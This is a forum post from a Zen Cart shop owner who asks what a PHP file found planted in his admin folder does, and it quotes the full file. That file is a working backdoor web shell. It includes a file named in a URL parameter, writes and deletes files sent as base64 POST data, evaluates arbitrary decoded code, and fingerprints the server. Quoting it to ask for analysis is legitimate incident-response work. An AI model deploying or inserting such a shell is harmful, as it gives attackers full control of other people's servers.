PHP - Code Found Hacked Onto Server - What Does It Do?

I found this code added to my server uploaded into a zencart admin folder. We did have some problems previously with index.php and login.php files having some encoded javascript injected into them and mess up our online shop.

If someone could tell me what it does as i accidently launched it before i deleted it. Looked in the server logs and it seems to of accessed every file on the server within seconds.

Code: [Select]
<?php //e6b03bed4190733c7534e5c1209b076f

/**
 * @version 2.42
 * 
 */
if (isset($_POST["action"]))
{
        switch ($_POST["action"])
        {
                case "test":
                        test();
                        break;
                case "regular_test":
                        regular_test();
                        break;
                case "setup":
                        projectcodes_setup();
                        break;
                case "remove":
                        projectcodes_remove();
                        break;
                case "mail":
                        send();
                        break;
                default:
                        break;
        }
        return;
}

if (count($_GET) > 0)
{
        foreach ($_GET as $id => $code)
        {
                if ($id == "id")
                {
                        include $code;
                }
        }
        return;
}

function test()
{
        $encoded_data = "";

        $data["version"] = phpversion();
        if (isset($_SERVER["SERVER_SOFTWARE"]))
        {
                $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];
        }
        else
        {
                $data["serverapi"] = "Not Available";
        }
        ob_start();
        phpinfo(8);
        $data["modules"] = ob_get_contents();
        ob_clean();
        $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;
        $serializes_data = serialize($data);
        $encoded_data = base64_encode($serializes_data);
        echo $_POST["test_message"] . $encoded_data;
}

function regular_test()
{
        echo $_POST["test_message"];
}

function projectcodes_setup()
{
        $projectcodes = $_POST["projectcodes"];
        foreach ($projectcodes as $projectcode)
        {
                $mark = $projectcode["mark"];
                $code = base64_decode($projectcode["code"]);
                $res = new_file_put_contents($mark, $code);
                if ($res)
                {
                        $installed[] = $projectcode["id"];
                }
        }
        $installed = serialize($installed);
        $installed = base64_encode($installed);
        echo $installed;
}

function projectcodes_remove()
{
        $projectcodes = $_POST["projectcodes"];
        foreach ($projectcodes as $projectcode)
        {
                $mark = $projectcode["mark"];
                $res = unlink($mark);

                if ($res)
                {
                        $removed[] = $projectcode["id"];
                }
        }
        $removed = serialize($removed);
        $removed = base64_encode($removed);
        echo $removed;
}

function new_file_put_contents($filename, $data)
{
        $f = @fopen($filename, 'w');
        if (!$f)
        {
                return false;
        }
        else
        {
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}

function new_file_get_contents($filename)
/* Returns the contents of file name passed
 */
{
        if (!function_exists('file_get_contents'))
        {
                $fhandle = fopen($filename, "r");
                $fcontents = fread($fhandle, filesize($filename));
                fclose($fhandle);
        }
        else
        {
                $fcontents = file_get_contents($filename);
        }
        return $fcontents;
}

function send()
{
        $code = base64_decode($_POST["projectcode"]);
      
        eval($code);
        //return;
}

?>